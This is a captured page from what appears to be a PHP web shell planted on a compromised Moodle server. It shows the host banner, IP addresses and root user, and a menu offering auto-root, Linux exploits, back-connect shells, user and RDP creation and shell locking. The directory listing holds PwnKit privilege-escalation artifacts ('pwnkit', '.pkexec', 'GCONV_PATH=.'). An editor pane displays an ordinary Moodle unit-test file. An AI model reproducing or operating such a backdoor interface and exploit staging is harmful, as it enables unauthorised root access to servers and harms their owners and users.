Linux vmi284606.contaboserver.net 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.57 (Ubuntu)
: 167.86.127.34 | : 216.73.217.31
Cant Read [ /etc/named.conf ]
7.2.24-0ubuntu0.18.04.17
root
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
moodle /
competency /
tests /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
generator
[ DIR ]
drwxrwxrwx
.mad-root
0
B
-rw-r--r--
api_test.php
227.45
KB
-rwxrwxrwx
competency_rule_test.php
15.17
KB
-rwxrwxrwx
competency_test.php
3.32
KB
-rwxrwxrwx
course_competency_settings_tes...
5.73
KB
-rwxrwxrwx
course_competency_test.php
6.4
KB
-rwxrwxrwx
course_module_competency_test....
3
KB
-rwxrwxrwx
event_test.php
67.35
KB
-rwxrwxrwx
external_test.php
128.11
KB
-rwxrwxrwx
generator_test.php
13.75
KB
-rwxrwxrwx
hooks_test.php
14.58
KB
-rwxrwxrwx
lib_test.php
15.04
KB
-rwxrwxrwx
performance_helper_test.php
6.98
KB
-rwxrwxrwx
plan_test.php
25.18
KB
-rwxrwxrwx
privacy_test.php
150.97
KB
-rwxrwxrwx
pwnkit
10.99
KB
-rwxr-xr-x
task_test.php
14.26
KB
-rwxrwxrwx
template_test.php
3.78
KB
-rwxrwxrwx
user_evidence_competency_test....
4.58
KB
-rwxrwxrwx
Delete
Unzip
Zip
${this.title}
Close
Code Editor : generator_test.php
<?php // This file is part of Moodle - http://moodle.org/ // // Moodle is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // Moodle is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License // along with Moodle. If not, see <http://www.gnu.org/licenses/>. /** * Tool LP data generator tests. * * @package core_competency * @category test * @copyright 2015 Frédéric Massart - FMCorz.net * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ use core_competency\competency; use core_competency\competency_framework; use core_competency\course_competency; use core_competency\course_module_competency; use core_competency\plan; use core_competency\related_competency; use core_competency\template; use core_competency\template_cohort; use core_competency\template_competency; use core_competency\user_competency; use core_competency\user_competency_plan; use core_competency\plan_competency; use core_competency\evidence; defined('MOODLE_INTERNAL') || die(); /** * Tool LP data generator testcase. * * @package core_competency * @category test * @copyright 2015 Frédéric Massart - FMCorz.net * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ class core_competency_generator_testcase extends advanced_testcase { public function test_create_framework() { $this->resetAfterTest(true); $lpg = $this->getDataGenerator()->get_plugin_generator('core_competency'); $this->assertEquals(0, competency_framework::count_records()); $framework = $lpg->create_framework(); $framework = $lpg->create_framework(); $this->assertEquals(2, competency_framework::count_records()); $this->assertInstanceOf('\core_competency\competency_framework', $framework); } public function test_create_competency() { $this->resetAfterTest(true); $lpg = $this->getDataGenerator()->get_plugin_generator('core_competency'); $framework = $lpg->create_framework(); $this->assertEquals(0, competency::count_records()); $competency = $lpg->create_competency(array('competencyframeworkid' => $framework->get('id'))); $competency = $lpg->create_competency(array('competencyframeworkid' => $framework->get('id'))); $this->assertEquals(2, competency::count_records()); $this->assertInstanceOf('\core_competency\competency', $competency); } public function test_create_related_competency() { $this->resetAfterTest(true); $lpg = $this->getDataGenerator()->get_plugin_generator('core_competency'); $framework = $lpg->create_framework(); $c1 = $lpg->create_competency(array('competencyframeworkid' => $framework->get('id'))); $c2 = $lpg->create_competency(array('competencyframeworkid' => $framework->get('id'))); $c3 = $lpg->create_competency(array('competencyframeworkid' => $framework->get('id'))); $this->assertEquals(0, related_competency::count_records()); $rc = $lpg->create_related_competency(array('competencyid' => $c1->get('id'), 'relatedcompetencyid' => $c2->get('id'))); $rc = $lpg->create_related_competency(array('competencyid' => $c2->get('id'), 'relatedcompetencyid' => $c3->get('id'))); $this->assertEquals(2, related_competency::count_records()); $this->assertInstanceOf('\core_competency\related_competency', $rc); } public function test_create_plan() { $this->resetAfterTest(true); $user = $this->getDataGenerator()->create_user(); $lpg = $this->getDataGenerator()->get_plugin_generator('core_competency'); $this->assertEquals(0, plan::count_records()); $plan = $lpg->create_plan(array('userid' => $user->id)); $this->assertEquals(1, plan::count_records()); $this->assertInstanceOf('\core_competency\plan', $plan); } public function test_create_user_competency() { $this->resetAfterTest(true); $user = $this->getDataGenerator()->create_user(); $lpg = $this->getDataGenerator()->get_plugin_generator('core_competency'); $framework = $lpg->create_framework(); $c1 = $lpg->create_competency(array('competencyframeworkid' => $framework->get('id'))); $c2 = $lpg->create_competency(array('competencyframeworkid' => $framework->get('id'))); $c3 = $lpg->create_competency(array('competencyframeworkid' => $framework->get('id'))); $this->assertEquals(0, user_competency::count_records()); $rc = $lpg->create_user_competency(array('userid' => $user->id, 'competencyid' => $c1->get('id'))); $rc = $lpg->create_user_competency(array('userid' => $user->id, 'competencyid' => $c2->get('id'))); $this->assertEquals(2, user_competency::count_records()); $this->assertInstanceOf('\core_competency\user_competency', $rc); } public function test_create_user_competency_plan() { $this->resetAfterTest(true); $user = $this->getDataGenerator()->create_user(); $lpg = $this->getDataGenerator()->get_plugin_generator('core_competency'); $framework = $lpg->create_framework(); $c1 = $lpg->create_competency(array('competencyframeworkid' => $framework->get('id'))); $c2 = $lpg->create_competency(array('competencyframeworkid' => $framework->get('id'))); $plan = $lpg->create_plan(array('userid' => $user->id)); $this->assertEquals(0, user_competency_plan::count_records()); $ucp = $lpg->create_user_competency_plan(array( 'userid' => $user->id, 'competencyid' => $c1->get('id'), 'planid' => $plan->get('id') )); $ucp = $lpg->create_user_competency_plan(array( 'userid' => $user->id, 'competencyid' => $c2->get('id'), 'planid' => $plan->get('id') )); $this->assertEquals(2, user_competency_plan::count_records()); $this->assertInstanceOf('\core_competency\user_competency_plan', $ucp); } public function test_create_template() { $this->resetAfterTest(true); $lpg = $this->getDataGenerator()->get_plugin_generator('core_competency'); $this->assertEquals(0, template::count_records()); $template = $lpg->create_template(); $template = $lpg->create_template(); $this->assertEquals(2, template::count_records()); $this->assertInstanceOf('\core_competency\template', $template); } public function test_create_template_competency() { $this->resetAfterTest(true); $lpg = $this->getDataGenerator()->get_plugin_generator('core_competency'); $this->assertEquals(0, template_competency::count_records()); $framework = $lpg->create_framework(); $c1 = $lpg->create_competency(array('competencyframeworkid' => $framework->get('id'))); $c2 = $lpg->create_competency(array('competencyframeworkid' => $framework->get('id'))); $template = $lpg->create_template(); $relation = $lpg->create_template_competency(array('competencyid' => $c1->get('id'), 'templateid' => $template->get('id'))); $relation = $lpg->create_template_competency(array('competencyid' => $c2->get('id'), 'templateid' => $template->get('id'))); $this->assertEquals(2, template_competency::count_records()); $this->assertInstanceOf('\core_competency\template_competency', $relation); } public function test_create_plan_competency() { $this->resetAfterTest(true); $user = $this->getDataGenerator()->create_user(); $lpg = $this->getDataGenerator()->get_plugin_generator('core_competency'); $framework = $lpg->create_framework(); $c1 = $lpg->create_competency(array('competencyframeworkid' => $framework->get('id'))); $c2 = $lpg->create_competency(array('competencyframeworkid' => $framework->get('id'))); $plan = $lpg->create_plan(array('userid' => $user->id)); $pc1 = $lpg->create_plan_competency(array('planid' => $plan->get('id'), 'competencyid' => $c1->get('id'))); $pc2 = $lpg->create_plan_competency(array('planid' => $plan->get('id'), 'competencyid' => $c2->get('id'))); $this->assertEquals(2, plan_competency::count_records()); $this->assertInstanceOf('\core_competency\plan_competency', $pc1); $this->assertInstanceOf('\core_competency\plan_competency', $pc2); $this->assertEquals($plan->get('id'), $pc1->get('planid')); } public function test_create_template_cohort() { $this->resetAfterTest(true); $lpg = $this->getDataGenerator()->get_plugin_generator('core_competency'); $c1 = $this->getDataGenerator()->create_cohort(); $c2 = $this->getDataGenerator()->create_cohort(); $t1 = $lpg->create_template(); $this->assertEquals(0, template_cohort::count_records()); $tc = $lpg->create_template_cohort(array('templateid' => $t1->get('id'), 'cohortid' => $c1->id)); $this->assertEquals(1, template_cohort::count_records()); $tc = $lpg->create_template_cohort(array('templateid' => $t1->get('id'), 'cohortid' => $c2->id)); $this->assertEquals(2, template_cohort::count_records()); $this->assertInstanceOf('\core_competency\template_cohort', $tc); } public function test_create_evidence() { $this->resetAfterTest(true); $user = $this->getDataGenerator()->create_user(); $lpg = $this->getDataGenerator()->get_plugin_generator('core_competency'); $framework = $lpg->create_framework(); $c1 = $lpg->create_competency(array('competencyframeworkid' => $framework->get('id'))); $c2 = $lpg->create_competency(array('competencyframeworkid' => $framework->get('id'))); $rc1 = $lpg->create_user_competency(array('userid' => $user->id, 'competencyid' => $c1->get('id'))); $rc2 = $lpg->create_user_competency(array('userid' => $user->id, 'competencyid' => $c2->get('id'))); $e = $lpg->create_evidence(array('usercompetencyid' => $rc1->get('id'))); $e = $lpg->create_evidence(array('usercompetencyid' => $rc2->get('id'))); $this->assertEquals(2, evidence::count_records()); $this->assertInstanceOf('\core_competency\evidence', $e); } public function test_create_course_competency() { $this->resetAfterTest(true); $lpg = $this->getDataGenerator()->get_plugin_generator('core_competency'); $course1 = $this->getDataGenerator()->create_course(); $course2 = $this->getDataGenerator()->create_course(); $framework = $lpg->create_framework(); $c1 = $lpg->create_competency(array('competencyframeworkid' => $framework->get('id'))); $c2 = $lpg->create_competency(array('competencyframeworkid' => $framework->get('id'))); $c3 = $lpg->create_competency(array('competencyframeworkid' => $framework->get('id'))); $this->assertEquals(0, course_competency::count_records()); $rc = $lpg->create_course_competency(array('competencyid' => $c1->get('id'), 'courseid' => $course1->id)); $rc = $lpg->create_course_competency(array('competencyid' => $c2->get('id'), 'courseid' => $course1->id)); $this->assertEquals(2, course_competency::count_records(array('courseid' => $course1->id))); $this->assertEquals(0, course_competency::count_records(array('courseid' => $course2->id))); $rc = $lpg->create_course_competency(array('competencyid' => $c3->get('id'), 'courseid' => $course2->id)); $this->assertEquals(1, course_competency::count_records(array('courseid' => $course2->id))); $this->assertInstanceOf('\core_competency\course_competency', $rc); } public function test_create_course_module_competency() { $this->resetAfterTest(true); $lpg = $this->getDataGenerator()->get_plugin_generator('core_competency'); $course1 = $this->getDataGenerator()->create_course(); $cm1 = $this->getDataGenerator()->create_module('forum', array('course' => $course1->id)); $cm2 = $this->getDataGenerator()->create_module('forum', array('course' => $course1->id)); $framework = $lpg->create_framework(); $c1 = $lpg->create_competency(array('competencyframeworkid' => $framework->get('id'))); $c2 = $lpg->create_competency(array('competencyframeworkid' => $framework->get('id'))); $c3 = $lpg->create_competency(array('competencyframeworkid' => $framework->get('id'))); $this->assertEquals(0, course_module_competency::count_records()); $rc = $lpg->create_course_module_competency(array('competencyid' => $c1->get('id'), 'cmid' => $cm1->cmid)); $rc = $lpg->create_course_module_competency(array('competencyid' => $c2->get('id'), 'cmid' => $cm1->cmid)); $this->assertEquals(2, course_module_competency::count_records(array('cmid' => $cm1->cmid))); $this->assertEquals(0, course_module_competency::count_records(array('cmid' => $cm2->cmid))); $rc = $lpg->create_course_module_competency(array('competencyid' => $c3->get('id'), 'cmid' => $cm2->cmid)); $this->assertEquals(1, course_module_competency::count_records(array('cmid' => $cm2->cmid))); $this->assertInstanceOf('\core_competency\course_module_competency', $rc); } }
Close